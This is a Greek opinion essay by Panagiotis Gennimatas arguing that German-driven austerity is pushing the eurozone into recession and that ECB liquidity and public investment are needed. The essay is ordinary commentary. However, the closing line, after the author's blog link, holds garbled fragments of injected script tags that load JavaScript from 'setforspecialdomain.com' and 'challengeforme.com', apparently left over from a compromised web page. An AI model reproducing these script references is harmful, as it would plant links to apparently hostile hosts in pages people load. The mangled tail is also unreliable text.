Ποιός χρειάζεται μια ευρωζώνη χωρίς ανάπτυξη, του Παναγιώτη Γεννηματά

1

Η ευρωπαϊκή οικονομία, της Γερμανίας συμπεριλαμβανομένης, βαδίζει πλησίστια προς την ύφεση. Δεν χρειάζεται ιδιαίτερη οικονομική σοφία για να αντιληφθεί κανείς ότι η επιδείνωση του οικονομικού περιβάλλοντος στην ευρωζώνη (που συμβαίνει για λόγους που σε άλλο σημείωμα έχουμε ήδη αναλύσει) θα λειτουργήσει ως η χαριστική βολή προς τις περιφερειακές ευρωπαϊκές οικονομίες οι οποίες βαρύνονται δυσβάστακτα από το χρέος και όπου η έλλειψη ρευστότητας λειτουργεί αποθαρρυντικά για κάθε είδους αναπτυξιακή προοπτική.

Γράφει ο Παναγιώτης Γεννηματάς*

Ως γνωστόν η Γερμανία προτάσσει ως πανάκεια για την επίλυση των προβλημάτων που ανέδειξε η κρίση την αυστηρή δημοσιονομική λιτότητα και την ταχεία υλοποίηση διαρθρωτικών μεταρρυθμίσεων που θα αυξήσουν την παραγωγικότητα και θα ενισχύσουν την ανταγωνιστικότητα της ευρωπαϊκής περιφερειακής οικονομίας. Οι μεταρρυθμίσεις αυτές θα αλλάξουν συνολικά την λειτουργία των ασθενέστερων κρατών. Με λίγα λόγια η Γερμανία θέλει να μετατρέψει όλες τις μέχρι χτες αδύνατες ευρωπαϊκές οικονομίες σε μικρές «κλωνοποιημένες γερμανίες», ώστε με τον τρόπο αυτόν να προαχθεί εκβιαστικά η οικονομική ομοιογένεια της ευρωζώνης που αποτελούσε εξ αρχής το αδύνατο υπόβαθρο του τολμηρού εγχειρήματος του ευρώ.

Έχουμε αναγνωρίσει ότι η στρατηγική αυτή έχει τη λογική της. Αλλά η λογική αυτή έχει το μειονέκτημα να είναι περισσότερο….γερμανική και λιγότερο (έως καθόλου) οικονομική. Η μεταρρυθμιστική κινητοποίηση των κυβερνήσεων και των κοινωνιών προς τον συγκεκριμένο μεταρρυθμιστικό μονόδρομο εκβιάζεται υπό την πίεση της πραγματικής αποστέρησης κάθε άλλης οικονομικής διεξόδου. Αλλά και αν ακόμα υποθέσουμε ότι ένας οιονεί «πρωσσικός» συντονισμός των εθνικών μεταρρυθμιστικών προγραμμάτων ήταν εφικτός και δεν προσέκρουε σε δικαιολογημένες ενδογενείς αντιστάσεις, το ανθρωποβόρο οικονομικό και κοινωνικό κόστος τους δεν είναι δυνατό ολοκληρωτικά να αγνοηθεί.

Οι διαρθρωτικές μεταρρυθμίσεις ασφαλώς επιβάλλονται προκειμένου να εναρμονιστεί μια βιώσιμη νομισματική περιοχή. Είναι συμφέρον κάθε εθνικής οικονομίας να τις προωθήσει. Για να αποδώσουν όμως τα ευεργετικά τους αποτελέσματα απαιτούν μακρό χρόνο. Στο ενδιάμεσο διάστημα η ενδημική λιτότητα καταστρέφει υφιστάμενες παραγωγικές δομές, αχρηστεύει ιστορικό κοινωνικό κεφάλαιο και εξωθεί στην απορριμματοποίηση ζωντανό ανθρώπινο κεφάλαιο της κοινωνίας.

Θα ήταν ίσως υπερβολικό να εξομοιώσουμε την συγκεκριμένη αυτή πολιτική που εκπορεύεται από τη Γερμανία με μεθοδολογικό σταλινισμό. Υπάρχει όμως μια ομοιότητα πολιτικού βολουνταρισμού που υποτιμά την άμεση οικονομική ζημία.

Η παρατεταμένη λιτότητα παράγει στους κόλπους της ευρωζώνης περισσότερη απόκλιση. Εάν ο ρυθμός απόκλισης των εθνικών οικονομιών δεν ανακοπεί, η ευρωζώνη εκ των πραγμάτων εξωθείται στην αποσύνθεση. Επιβάλλονται επομένως μέτρα άμεσης οικονομικής ανάκαμψης, ικανά να αναστηλώσουν την εμπιστοσύνη στην ευρωζωνική οικονομία. Τα μέτρα αυτά δεν μπορεί να είναι άλλα από την γενναιόδωρη ενίσχυση της ρευστότητας από την ΕΚΤ και τις εθνικές δημοσιονομικές παρεμβάσεις.

Είναι σαφές ότι τόσο η Γερμανία όσο και μεγάλο κομμάτι των ευρωπαίων οικονομολόγων έχουν αναπτύξει αντανακλαστικά δυσπιστίας απέναντι στον κεϋνεσιανισμό. Η έμφαση στη δημόσια παρέμβαση δεν περιλαμβάνεται τα τελευταία τριάντα χρόνια στο «μενού» της τρέχουσας οικονομικής ορθοδοξίας. Η οικονομική ανάπτυξη των ετών 1990-2008, με όλες τις «φούσκες» που εξέθρεψε, συντελέστηκε από τις δυνάμεις της ελεύθερης αγοράς και με την απόσυρση της κρατικής παρέμβασης. Μια μεσοβραχυχρόνια σήμερα κρατική στήριξη της συνολικής ζήτησης κρίνεται, κατά την γερμανική αντίληψη, πρώτον ως αποπροσανατολιστική, εφ’ όσον έχει δοθεί στρατηγική προτεραιότητα στην αποκατάσταση σταθερών μακροχρονίων τάσεων στην ευρωζωνική οικονομία. Δεύτερον, κινδυνεύει να επιβαρύνει συνολικά το πρόβλημα των χρεών.

Η επιχειρηματολογία και πάλι δεν είναι αστήριχτη. Δεν είναι όμως ανάγκη να είναι κανείς ακαδημαϊκά «κεϋνεσιανός» για να αντιληφθεί ότι, όταν η λιτότητα έχει σε υφεσιακό αποτέλεσμα ξεπεράσει τους υποθετικούς «πολλαπλασιαστές» των πρώτων εκτιμήσεων και όταν ταυτόχρονα τα επιτόκια συγκλίνουν πρακτικά προς το μηδέν, ακριβώς για να διευκολύνουν τη ρευστότητα, η υιοθέτηση προτάσεων από το «κεϋνεσιανό μενού» είναι απλώς ρεαλιστική επιλογή, είτε είναι κανείς «κεϋνεσιανός» είτε δεν είναι. Με χαμηλό, σχεδόν μηδενικό κόστος χρήματος τα κράτη και οι αναπτυξιακοί ευρωπαϊκοί μηχανισμοί (όπως η ευρωπαϊκή ΕΤΕπ και η γερμανική KFW) μπορούν να διοχετεύσουν χρήμα σε υψηλής απόδοσης επενδυτικά προγράμματα που θα αποδώσουν φορολογικά έσοδα υψηλότερα από το επενδυτικό τους κόστος, ώστε το χρέος τελικά να μην επιβαρυνθεί.

Υπάρχουν λοιπόν πράγματα που μπορούν αδάπανα να γίνουν. Ίσως εγερθεί όμως η ένσταση ότι θα απαιτηθούν τροποποιήσεις των δημοσιονομικών κανόνων της ευρωζώνης. Ναι, αλλά η ευρωζώνη που σήμερα υφίσταται κινδυνεύει άμεσα να διαλυθεί. Και μιαν ευρωζώνη που δεν εγγυάται την ανάπτυξη δεν έχει κανείς λόγο να τη θέλει.

* Ο Παναγιώτης Γεννηματάς είναι επίτιμος Αντιπρόεδρος της Ευρωπαϊκής Τραπέζης Επενδύσεων (ΕΤΕπ).
pan.gennimatas@gmail.com
https://www.facebook.com/gennimatasp?fref=ts
http://pangennimatas.blogspot.gr/___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >